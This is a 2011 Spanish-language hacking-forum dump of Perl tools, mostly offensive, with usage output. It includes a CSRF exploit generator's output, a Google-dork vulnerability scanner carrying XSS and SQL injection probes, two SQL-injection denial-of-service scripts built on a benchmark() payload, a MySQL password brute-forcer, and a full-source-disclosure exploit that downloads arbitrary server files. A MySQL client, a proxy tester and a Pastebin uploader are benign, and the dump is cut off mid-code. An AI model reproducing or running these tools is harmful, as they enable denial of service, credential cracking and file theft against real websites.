-- == CSRF T00l == --


[+] File to parse : read.txt



-- == Form 1 == --

[+] Name : No Found
[+] Action : http://localhost/labs/csrf/csrf.php
[+] Method : GET

-- == Input == --

Type            Name            Value
text            ver
password                veras
submit          control         Agregar


-- == Form 2 == --

[+] Name : No Found
[+] Action : /
[+] Method : POST

-- == Input == --

Type            Name            Value
text            ac
submit          ee              aaa


[+] Form to generate : 1

[+] Value of the ver : aaa

[+] Value of the veras : aaa

[+] Value of the control : aaa


[+] CSRF Exploit Generated

[+] To can see in logscsrf/localhost.html



-- == Doddy Hackman 2011 == --


#448
Perl / [Perl] Paranoic Scan 0.9
Julio 03, 2011, 10:06:11 PM
La misma herramienta de siempre pero le agregue dos cosas nuevas

  • XSS POST & GET
  • SQL POST & GET

    Código: perl

    #!usr/bin/perl
    #Paranoic Scan 0.9 Updated
    #(c)0ded by Doddy H 2010
    #
    #Search in google with a dork
    #Scan type :
    #
    #XSS
    #Full Source Discloure
    #LFI
    #RFI
    #SQL GET & POST
    #MSSQL
    #Oracle
    #Jet Database
    #Find HTTP Options y Server nAME
    #
    #

    use LWP::UserAgent;
    use HTML::LinkExtor;
    use HTML::Form;
    use URI::Split qw(uri_split);
    use IO::Socket;

    my $nave = LWP::UserAgent->new;
    $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
    $nave->timeout(5);

    installer();

    sta();

    sub sta {
    sub head {
    system 'cls';
    print qq(


    @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
    @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
    @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
    @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
    @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
    @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
    @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




    );
    }
    &menu;
    sub menu {
    &head;
    print "[a] : Scan a File\n";
    print "[b] : Search in google and scan the webs\n\n";
    print "[option] : ";
    chomp(my $op = <STDIN>);
    if ($op =~/a/ig) {
    print "\n[+] Wordlist : ";
    chomp(my $word = <STDIN>);
    my @paginas = repes(cortar(savewords($word)));
    my $option = &men;
    print "\n\n[+] Opening File\n";
    scan($option,@paginas);
    }
    elsif ($op=~/b/ig) {
    print "\n[+] Dork : ";
    chomp(my $dork = <STDIN>);
    print "[+] Pages : ";
    chomp(my $pag = <STDIN>);
    my $option = &men;
    print "\n\n[+] Searching in google\n";
    my @paginas = &google($dork,$pag);
    scan($option,@paginas);
    }
    else {
    &menu;
    }
    }
    sub scan {
    my ($option,@webs) = @_;
    print "\n\n[Status] : Scanning\n";
    print "[Webs Count] : ".int(@webs)."\n\n\n";
    for(@webs) {
    if ($option=~/S/ig) {
    scansql($_);
    }
    if ($option=~/L/ig) {
    lfi($_);
    }
    if ($option=~/R/ig) {
    rfi($_);
    }
    if ($option=~/F/ig) {
    fsd($_);
    }
    if ($option=~/X/ig) {
    scanxss($_);
    }
    if ($option=~/M/ig) {
    mssql($_);
    }
    if ($option=~/J/ig) {
    access($_);
    }
    if ($option=~/O/ig) {
    oracle($_);
    }
    if ($option=~/HT/ig) {
    http($_);
    }
    if ($option=~/A/ig) {
    scansql($_);
    scanxss($_);
    mssql($_);
    access($_);
    oracle($_);
    lfi($_);
    rfi($_);
    fsd($_);
    http($_);
    }
    }
    }
    print "\n\n[Status] : Finish\n";
    &finish;
    }

    sub toma {
    return $nave->get($_[0])->content;
    }

    sub savefile {
    open (SAVE,">>logs/".$_[0]);
    print SAVE $_[1]."\n";
    close SAVE;
    }

    sub finish {
    print "\n\n\n(C) Doddy Hackman 2010\n\n";
    <STDIN>;
    sta();
    }

    sub google {
    my($a,$b) = @_;
    for ($pages=10;$pages<=$b;$pages=$pages+10) {
    $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
    my @links = get_links($code);
    for my $l(@links) {
    if ($l =~/webcache.googleusercontent.com/) {
    push(@url,$l);
    }
    }
    }

    for(@url) {
    if ($_ =~/cache:(.*?):(.*?)\+/) {
    push(@founds,$2);
    }
    }

    my @founds = repes(cortar(@founds));
    return @founds;
    }



    sub http {

    my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);

    my $socket = IO::Socket::INET->new(
    PeerAddr=>$auth,
    PeerPort=>"80",
    Proto=>"tcp");

    print $socket "OPTIONS  / HTTP/1.0\r\n\r\n";
    read $socket,$resultado,"1000";

    if ($resultado=~/Server:(.*)/g) {
    my $server = $1;

    savefile("http-logs.txt","[+] Page : $auth"."\n");
    savefile("http-logs.txt","[+] Server : ".$server."\n");
    }
    if ($resultado=~/Allow: (.*)/g) {
    my $options = $1;
    savefile("http-logs.txt","[+] Options : ".$options."\n");
    }
    $socket->close;
    }

    sub scanxss {

    my $page = shift;
    chomp $page;

    my @testar = HTML::Form->parse(toma($page),"/");
    my @botones_names;
    my @botones_values;
    my @orden;
    my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>');
    my @get_founds;
    my @post_founds;
    my @ordenuno;
    my @ordendos;

    my $contador_forms = 0;

    my $valor = "doddyhackman";

    for my $test(@testar) {
    $contador_forms++;
    if ($test->method eq "POST") {
    my @inputs = $test->inputs;
    for my $in(@inputs) {
    if ($in->type eq "submit") {
    if ($in->name eq "") {
    push(@botones_names,"submit");
    }
    push(@botones_names,$in->name);
    push(@botones_values,$in->value);
    } else {
    push(@ordenuno,$in->name,$pa[0]);
    push(@ordendos,$in->name,$pa[1]);
    }}

    for my $n(0..int(@botones_names)-1) {
    my @preuno = @ordenuno;
    my @predos = @ordendos;
    push(@preuno,$botones_names[$n],$botones_values[$n]);
    push(@predos,$botones_names[$n],$botones_values[$n]);

    my $codeuno = $nave->post($page,\@preuno)->content;
    my $codedos = $nave->post($page,\@predos)->content;
    if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or
    $codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) {
    if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
    push(@post_founds,$contador_forms);
    } else {
    push(@post_founds,$test->attr(name));
    }}}
    } else { #Fin de metodo POST
    my @inputs = $test->inputs;
    for my $in(@inputs) {
    if ($in->type eq "submit") {
    if ($in->name eq "") {
    push(@botones_names,"submit");
    }
    push(@botones_names,$in->name);
    push(@botones_values,$in->value);
    } else {
    $orden.=''.$in->name.'='.$valor.'&';
    }}
    chop($orden);
    for my $n(0..int(@botones_names)-1) {
    my $partedos = "&".$botones_names[$n]."=".$botones_values[$n];
    my $final = $orden.$partedos;
    for my $strin(@pa) {
    chomp $strin;
    $final=~s/doddyhackman/$strin/;
    $code = toma($page."?".$final);
    my $strin = "\Q$strin\E";
    if ($code=~/$strin/) {
    push(@get_founds,$page."?".$final);
    }}}}}

    my @get_founds = repes(@get_founds);
    if (int(@get_founds) ne 0) {
    for(@get_founds) {
    savefile("xss-logs.txt","[+] XSS Found : $_");
    print "[+] XSS Found : $_\n\a";
    }}

    my @post_founds = repes(@post_founds);
    if (int(@post_founds) ne 0) {
    for my $t(@post_founds) {
    if ($t =~/^\d+$/) {
    savefile("xss-logs.txt","[+] XSS : Form $t in $page");
    print "[+] XSS : Form $t in $page\n\a";
    }}}}


    sub scansql {

    my $page = shift;
    my $copia = $page;

    $co = toma($page."'");

    if ($co=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $co=~ /mysql_free_result/ig || $co =~ /mysql_fetch_assoc/ig ||$co =~ /mysql_num_rows/ig || $co =~ /mysql_fetch_array/ig || $co =~/mysql_fetch_assoc/ig || $co=~/mysql_query/ig || $co=~/mysql_free_result/ig || $co=~/equivocado en su sintax/ig || $co=~/You have an error in your SQL syntax/ig || $co=~/Call to undefined function/ig) {
    savefile("sql-logs.txt","[+] SQL : $page");
    print "[+] SQLI : $page\a\n";
    }

    if ($page=~/(.*)\?(.*)/) {
    my $page = $1;

    my @testar = HTML::Form->parse(toma($page),"/");
    my @botones_names;
    my @botones_values;
    my @orden;
    my @get_founds;
    my @post_founds;
    my @ordenuno;
    my @ordendos;

    my $contador_forms = 0;

    my $valor = "doddyhackman";

    for my $test(@testar) {
    $contador_forms++;
    if ($test->method eq "POST") {
    my @inputs = $test->inputs;
    for my $in(@inputs) {
    if ($in->type eq "submit") {
    if ($in->name eq "") {
    push(@botones_names,"submit");
    }
    push(@botones_names,$in->name);
    push(@botones_values,$in->value);
    } else {
    push(@ordenuno,$in->name,"'");
    }}

    for my $n(0..int(@botones_names)-1) {
    my @preuno = @ordenuno;
    push(@preuno,$botones_names[$n],$botones_values[$n]);
    my $code = $nave->post($page,\@preuno)->content;
    if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
    if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
    push(@post_founds,$contador_forms);
    } else {
    push(@post_founds,$test->attr(name));
    }}}}

    my @post_founds = repes(@post_founds);
    if (int(@post_founds) ne 0) {
    for my $t(@post_founds) {
    if ($t =~/^\d+$/) {
    savefile("sql-logs.txt","[+] SQLI : Form $t in $page");
    print "[+] SQLI : Form $t in $page\n\a";
    }}}}}}

    sub access {

    my $page = shift;
    $code1 = toma($page."'");
    if ($code1=~/Microsoft JET Database/ig or $code1=~/ODBC Microsoft Access Driver/ig) {
    print "[+] Jet DB : $page\a\n";
    savefile("jetdb-logs.txt",$page);
    }
    }

    sub mssql {

    my $page = shift;
    $code1 = toma($page."'");
    if ($code1=~/ODBC SQL Server Driver/ig) {
    print "[+] MSSQL : $page\a\n";
    savefile("mssql-logs.txt",$page);
    }
    }

    sub oracle {

    my $page = shift;
    $code1 = toma($page."'");
    if ($code1=~/Microsoft OLE DB Provider for Oracle/ig) {
    print "[+] Oracle : $page\a\n";
    savefile("oracle-logs.txt",$page);
    }
    }

    sub rfi {
    my $page = shift;
    $code1 = toma($page."http:/www.supertangas.com/");
    if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
    print "[+] RFI : $page\a\n";
    savefile("rfi-logs.txt",$page);
    }}

    sub lfi {
    my $page = shift;
    $code1 = toma($page."'");
    if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
    print "[+] LFI : $page\a\n";
    savefile("lfi-logs.txt",$page);
    }}

    sub fsd {
    my $page = shift;
    my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
    if ($path=~/\/(.*)$/) {
    my $me = $1;
    $code1 = toma($page.$me);
    if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
    print "[+] Full Source Discloure : $page\a\n";
    savefile("fpd-logs.txt",$page);
    }}}

    sub repes {
    my @limpio;
    foreach $test(@_) {
    push @limpio,$test unless $repe{$test}++;
    }
    return @limpio;
    }

    sub savewords {
    open (FILE,$_[0]);
    @words = <FILE>;
    close FILE;
    for(@words) {
    push(@r,$_);
    }
    return(@r);
    }

    sub men {
    print "\n\n[+] Scan Type : \n\n";
    print "[X] : XSS\n";
    print "[S] : SQL\n";
    print "[M] : MSSQL\n";
    print "[J] : Jet Database\n";
    print "[O] : Oracle\n";
    print "[L] : LFI\n";
    print "[R] : RFI\n";
    print "[F] : Full Source Discloure\n";
    print "[HT] : HTTP Information\n";
    print "[A] : All\n\n";
    print "\n[Options] : ";
    chomp(my $option = <STDIN>);
    return $option;
    }

    sub cortar {
    my @nuevo;
    for(@_) {
    if ($_ =~/=/) {
    @tengo = split("=",$_);
    push(@nuevo,@tengo[0]."=");
    } else {
    push(@nuevo,$_);
    }}
    return @nuevo;
    }

    sub get_links {

    $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
    return @links;

    sub agarrar {
    my ($a,%b) = @_;
    push(@links,values %b);
    }
    }


    sub installer {
    unless (-d "logs/") {
    mkdir("logs/","777");
    }
    }

    # ¿ The End ?



    Ejemplo de uso


    Código: text




    @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
    @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
    @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
    @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
    @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
    @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
    @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




    [a] : Scan a File
    [b] : Search in google and scan the webs

    [option] :
#449
Perl / [Perl] SQLi Dos 0.2
Julio 03, 2011, 10:04:52 PM
El mismo Dos para SQLi per esta vez usando benchmark()

Código: perl

#!usr/bin/perl
#SQLi Dos 0.2 (C) Doddy Hackman 2011

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();

sub now {
print "\n[+] Target : ".$_[0]."\n";
print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
while(true) {
$SIG{INT} = \&adios;
$code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
unless($code->is_success) {
print "[+] Web Off\n";
copyright();
}}}

sub adios {
print "\n[+] Stoping attack\n";
copyright();
}

sub head {
print "\n\n-- == SQLI Dos 0.2 == --\n\n";
}

sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}

sub sintax {
print "\n[+] Sintax : $0 <page>\n";
}

sub toma {
return $nave->get($_[0]);
}

# ¿ The End ?


Ejemplo de uso

Código: text


C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


[+] Target : http://localhost/sql.php?id=1

[+] Starting the attack
[+] Info : control+c for stop attack

[+] Web Off


-- == (C) Doddy Hackman 2011 == --

#450
Perl / [Perl] SQLi DOS 0.1
Julio 03, 2011, 10:04:40 PM
Un simple Dos para SQLi

Código: perl

#!usr/bin/perl
#SQLi Dos 0.1 (C) Doddy Hackman 2011

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();

sub now {
print "\n[+] Target : ".$_[0]."\n";
print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
while(true) {
$SIG{INT} = \&adios;
$code = toma($_[0]."zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz");
unless($code->is_success) {
print "[+] Web Off";
copyright();
}}}

sub adios {
print "\n[+] Stoping attack\n";
copyright();
}

sub head {
print "\n\n-- == SQLI Dos 0.1 == --\n\n";
}

sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}

sub sintax {
print "\n[+] Sintax : $0 <page>\n";
}

sub toma {
return $nave->get($_[0]);
}

# ¿ The End ?


Ejemplo de uso

Código: text

C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


[+] Target : http://localhost/sql.php?id=1

[+] Starting the attack
[+] Info : control+c for stop attack


[+] Stoping attack


-- == (C) Doddy Hackman 2011 == --

#451
Perl / [Perl] Mysql Manager
Julio 03, 2011, 10:03:54 PM
Un simple mysql manager , un triste intento de imitacion al comando mysql pero bueno....

Código: perl

#!usr/bin/perl
#Mysql Manager (C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd

use DBI;

sub head {
print "\n\n -- == Mysql Manager == --\n\n";
}

sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}

sub sintax {
print "\n[+] Sintax : $0 <host> <user> <pass>\n";
}

head();
unless (@ARGV > 2) {
sintax();
} else {
enter($ARGV[0],$ARGV[1],$ARGV[2]);
}
copyright();

sub enter {

print "\n[+] Connecting to the server\n";

$info = "dbi:mysql::".$_[0].":3306";
if (my $enter = DBI->connect($info,$_[1],$_[2],{PrintError=>0})) {

print "\n[+] Enter in the database";

while(1) {
print "\n\n\n[+] Query : ";
chomp(my $ac = <stdin>);

if ($ac eq "exit") {
$enter->disconnect;
print "\n\n[+] Closing connection\n\n";
copyright();
}

$re = $enter->prepare($ac);
$re->execute();
my $total = $re->rows();

my @columnas = @{$re->{NAME}};

if ($total eq "-1") {
print "\n\n[-] Query Error\n";
next;
} else {
print "\n\n[+] Result of the query\n";
if ($total eq 0) {
print "\n\n[+] Not rows returned\n\n";
} else {
print "\n\n[+] Rows returned : ".$total."\n\n\n";
for(@columnas) {
print $_."\t\t";
}
print "\n\n";
while (@row = $re->fetchrow_array) {
for(@row) {
print $_."\t\t";
}
print "\n";
}}}}
} else {
print "\n[-] Error connecting\n";
}}

# ¿ The End ?


Un ejemplo de uso

Código: text


C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
mysqlman>manager.PL localhost root ""


-- == Mysql Manager == --


[+] Connecting to the server

[+] Enter in the database


[+] Query : show databases


[+] Result of the query


[+] Rows returned : 6


Database

information_schema
cdcol
hackman
mysql
phpmyadmin
test



[+] Query : exit


[+] Closing connection



-- == (C) Doddy Hackman 2011 == --


#452
Perl / [Perl] Mysql Cracker
Julio 03, 2011, 10:03:43 PM
Bueno , aca les dejo un mysql cracker que hice en perl.


Código: perl

#!usr/bin/perl
#Mysql Cracker (C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd

use DBI;

sub now {

$target = "dbi:mysql::".$_[0].":3306";

print "\n[+] Target : ".$_[0]."\n\n";

unless(-f $ARGV[2]) {
print "\n[-] File Not Found\n";
copyright();
}

open(WORDLIST,$_[2]);
my @words = <WORDLIST>;
close WORDLIST;

chomp @words;

my @words = repes(@words);

print "\n[+] Wordlist : $_[2]\n";
print "[+] Words Found : ".int(@words)."\n\n";

for my $pass(@words) {
if (my $now = DBI->connect($target,$_[1],$pass,{PrintError=>0})) {
print "\a\a\n[+] Cracked !!!\n\n";
print "[Host] : ".$_[0]."\n";
print "[User] : ".$_[1]."\n";
print "[Password] : ".$pass."\n";
copyright();
}
}
print "\n[-] Sorry , Not Found\n";
}

sub head {
print "\n\n -- == Mysql Cracker == --\n\n";
}

sub copyright {
print "\n\n -- == (C) Doddy Hackman 2011\n\n";
exit(1);
}

sub sintax {
print "\n[+] Sintax : $0 <host> <user> <wordlist>\n";
}

sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}

head();
unless(@ARGV < 3) {
now($ARGV[0],$ARGV[1],$ARGV[2]);
} else {
sintax();
}
copyright();


# ¿ The End ?


Un ejemplo de uso seria

Código: text

C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
mysqlcrack>mycrack.pl localhost root c:/aca.txt


-- == Mysql Cracker == --


[+] Target : localhost


[+] Wordlist : c:/aca.txt
[+] Words Found : 7


[+] Cracked !!!

[Host] : localhost
[User] : root
[Password] : root


-- == (C) Doddy Hackman 2011 == --


#453
Perl / [Perl] FSD Exploit Manager
Julio 03, 2011, 10:03:29 PM
Un simple exploit que nos ayuda a explotar la vulnerabilidad Full Source Discloure de una forma
muy relajante , lo bueno de este programa es que guarda todo lo descargado en una carpeta creada
por el programa mismo.
Ademas detecta automaticamente Full Path Discloure para conocer las rutas necesarias para descargar
archivos.

Código: perl

#!usr/bin/perl
#FSD Exploit Manager (C) Doddy Hackman 2011

use LWP::UserAgent;
use URI::Split qw(uri_split);
use File::Basename;

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

$SIG{INT} = \&adios;

head();
if($ARGV[0]) {
ver($ARGV[0]);
} else {
sintax();
}
copyright();

sub ver {

my $page = shift;
print "\n[+] Target : ".$page."\n\n";

my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);

if ($path=~/\/(.*)$/) {
my $me = $1;
$code1 = toma($page.$me);
if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
print "[+] Full Source Discloure Detect\a\n";
$code2 = toma($page."'");
if ($code2=~/No such file or directory in <b>(.*)<\/b> on line/) {
print "\n[+] Full Path Dislocure Detect : ".$1."\n";
}
installer();
while(1) {
print "\n\nurl>";
$SIG{INT} = \&adios;
chomp(my $url = <stdin>);
if (download($page.$url,"fsdlogs/".basename($url))) {
print "\n\n[+] File Downloaded\n";
system("start fsdlogs/".basename($url));
}
}
} else {
print "[-] Web not vulnerable\n\n";
}
}
}

sub adios {
print "\n\n[+] Good Bye\n";
copyright();
}

sub head {
print "\n\n-- == FSD Exploit Manager == --\n\n";
}

sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}

sub sintax {
print "\n[+] Sintax : $0 <page>\n";
}

sub toma {
return $nave->get($_[0])->content;
}

sub download {
if ($nave->mirror($_[0],$_[1])) {
if (-f $_[1]) {
return true;
}}}

sub installer {
unless (-d "fsdlogs/") {
mkdir("fsdlogs/","777");
}}

# ¿ The End ?



Un ejemplo de uso

Código: text

C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
FSD Exploit Manager>fsd.pl http://localhost/down.php?down=


-- == FSD Exploit Manager == --


[+] Target : http://localhost/down.php?down=

[+] Full Source Discloure Detect

[+] Full Path Dislocure Detect : C:\xampp\htdocs\down.php


url>c:/aca.txt


[+] File Downloaded


url>c:/aca.txt


[+] File Downloaded


[+] Good Bye


-- == (C) Doddy Hackman 2011 == --


#454
Perl / [Perl Tk] Proxy Tester
Julio 03, 2011, 10:03:09 PM
Un simple programa verificar que un proxy funciona bien

Imagen





Código: perl

#!usr/bin/perl
#Proxy Tester (C) Doddy Hackman 2011

use Tk;
use Tk::FileSelect;
use LWP::UserAgent;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

my $new = MainWindow->new();

$new->title("Proxy Tester v0.1 (C) Doddy Hackman 2011");
$new->geometry("390x330+50+50");
$new->resizable(0,0);

$new->Label(-text=>"File : ",-font=>"Impact1")->place(-y=>10,-x=>10);
my $filex = $new->Entry(-width=>40)->place(-y=>13,-x=>50);
$new->Button(-text=>"Browse",-width=>10,-command=>\&bro)->place(-y=>10,-x=>300);

$new->Label(-text=>"Proxy OK")->place(-y=>50,-x=>65);
my $proxy_buenos = $new->Listbox()->place(-y=>"80",-x=>"40");

$new->Label(-text=>"Proxy Failed")->place(-y=>50,-x=>230);
my $proxy_malos = $new->Listbox()->place(-y=>"80",-x=>"200");

$new->Button(-text=>"Scan",-width=>64,-command=>\&scan)->place(-y=>255);
$new->Button(-text=>"About",-width=>64,-command=>\&about)->place(-y=>277);
$new->Button(-text=>"Exit",-width=>64,-command=>\&ex)->place(-y=>299);

MainLoop;


sub bro {
$new->update;
$browse = $new->FileSelect(-directory => "/");
my $file = $browse->Show;
$filex->configure (-text =>$file);
}

sub scan {

$proxy_buenos->delete(0.0,"end");
$proxy_malos->delete(0.0,"end");

my $archivo = $filex->get;

open(FILE,$archivo);
my @lineasa = <FILE>;
close FILE;
chomp @lineasa;

my @lineas = repes(@lineasa);
chomp @lineas;

for my $pro(@lineas) {
chomp $pro;
print $pro."\n";
$new->update;
$nave->proxy("http",$pro);
my $test = $nave->get("http://127.0.0.1/"); #Mod
if ($test->is_success) {
$proxy_buenos->insert("end",$pro);
} else {
$proxy_malos->insert("end",$pro);
}
}
}

sub about {
my $venta = MainWindow->new();
$venta->geometry("300x180+20+20");
$venta->title("About");
$venta->resizable(0,0);
$venta->Label(-text=>"\nProxy Tester\n\n\nProgrammer : Doddy Hackman\n\nContact : lepuke[at]hotmail[com]\n\n")->pack();
$venta->Button(-text=>"Exit",-width=>20,-command => [$venta => 'destroy'])->pack()
}

sub ex { exit 1; }

sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}

# ¿ The End ?
#455
Perl / [Perl Tk] Pastebin Uploader
Julio 03, 2011, 10:02:24 PM
Un lindo programa para publicar varios o un codigo en pastebin

Imagenes









Código: perl

#!usr/bin/perl
#PasteBin Uploader 0.5 (C) Doddy Hackman 2011

use Tk;
use Tk::FileSelect;
use Win32;
use LWP::UserAgent;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

my $logo = MainWindow->new();
$logo->title("PasteBin Uploader 0.5");
$logo->geometry("300x130+20+20");
$logo->resizable(0,0);
$logo->Label(-text=>"Options",-font=>"Impact1")->place(-x=>115,-y=>10);
$logo->Button(-text=>"File",-width=>20,-command=>\&single)->place(-y=>50,-x=>10);
$logo->Button(-text=>"Directory",-width=>20,-command=>\&di)->place(-y=>50,-x=>150);
$logo->Button(-text=>"Show Logs",-width=>20,-command=>\&lognow)->place(-x=>75,-y=>88);

MainLoop;

sub single {

$sin = MainWindow->new();
$sin->title("Pastebin Uploader 0.5 (C) Doddy Hackman 2011");
$sin->geometry("550x80+20+20");
$sin->Label(-text=>"File : ",-font=>"Impact1")->place(-x=>20,-y=>20);
my $filex = $sin->Entry(-width=>50)->place(-y=>25,-x=>65);
$sin->Button(-text=>"Browse",-width=>10,-command=>\&bro)->place(-y=>23,-x=>375);
$sin->Button(-text=>"Upload",-width=>10,-command=>\&singleup)->place(-y=>23,-x=>450);

sub bro {
$sin->update;
$browse = $sin->FileSelect(-directory => "/");
my $file = $browse->Show;
$filex->configure (-text =>$file);
}

sub singleup {

my $file = $filex->get();
chomp $file;

if (-f $file)  {

($name,$exta) =verfile($file);

my $ext = extensiones($exta);

if ($ext ne "Yet") {


$code = openfile($file);

$re = lleva($name,$code,$ext);

unless($re=~/Bad API request/ig) {
Win32::MsgBox("Uploaded!!!",0,"PasteBin Uploader");
savefile("uploads_paste.txt","\n[+] File : $file");
savefile("uploads_paste.txt","[+] Link : ".$re);
} else {
Win32::MsgBox("Error uploading",0,"PasteBin Uploader 0.5");
}
}
} else {
Win32::MsgBox("File Error",0,"PasteBin Uploader 0.5");
}
}
}


sub di {


my $more = MainWindow->new();
$more->title("Pastebin Uploader 0.5 (C) Doddy Hackman 2011");
$more->geometry("450x280+50+50");
$more->resizable(0,0);

$more->Label(-text=>"Directory : ",-font=>"Impact1")->place(-y=>10,-x=>10);
my $filex = $more->Entry(-width=>35)->place(-y=>15,-x=>80);
$more->Button(-text=>"Start",-width=>10,-command=>\&multi)->place(-y=>12,-x=>300);
$more->Button(-text=>"Browse",-width=>10,-command=>\&poner)->place(-x=>370,-y=>12);

$more->Label(-text=>"Files")->place(-y=>70,-x=>65);
my $lista_archivos = $more->Listbox(-width=>32)->place(-y=>100,-x=>20);

$more->Label(-text=>"Status")->place(-y=>70,-x=>300);
my $lista_re = $more->Listbox(-width=>32)->place(-y=>100,-x=>230);


sub poner {
my $ven = MainWindow->new();
$ven->title("Choose Directory");
$ven->geometry("300x280+20+20");
$ven->resizable(0,0);
$test = $ven->Scrolled("DirTree",-width=>100,-height=>20,-exportselection=>1,-command=>\&choose)->pack();

sub choose {
$filex->configure(-text=>$_[0]);
$ven->destroy;
}
}

sub multi {

my $dir = $filex->get();

if (-d $dir) {

my @files = verdir($dir);

for my $file(@files) {

chomp $file;

my ($name,$exta) =verfile($file);

my $ext = extensiones($exta);

if ($ext ne "Yet") {

my $code = openfile($dir."/".$file);
$lista_archivos->insert("end",$file);
$logo->update;
$re = lleva($name,$code,$ext);
unless($re=~/Bad API request/ig) {
$lista_re->insert("end","File Uploaded !!");
savefile("uploads_paste.txt","\n[+] File : $file");
savefile("uploads_paste.txt","[+] Link : ".$re);
} else {
$lista_re->insert("end","Error uploading");
}
}
}
} else {
Win32::MsgBox("Directory Error",0,"PasteBin Uploader 0.5");
}

}


}

sub lognow {
if (-f "logs/uploads_paste.txt") {
system("start logs/uploads_paste.txt");
}
}

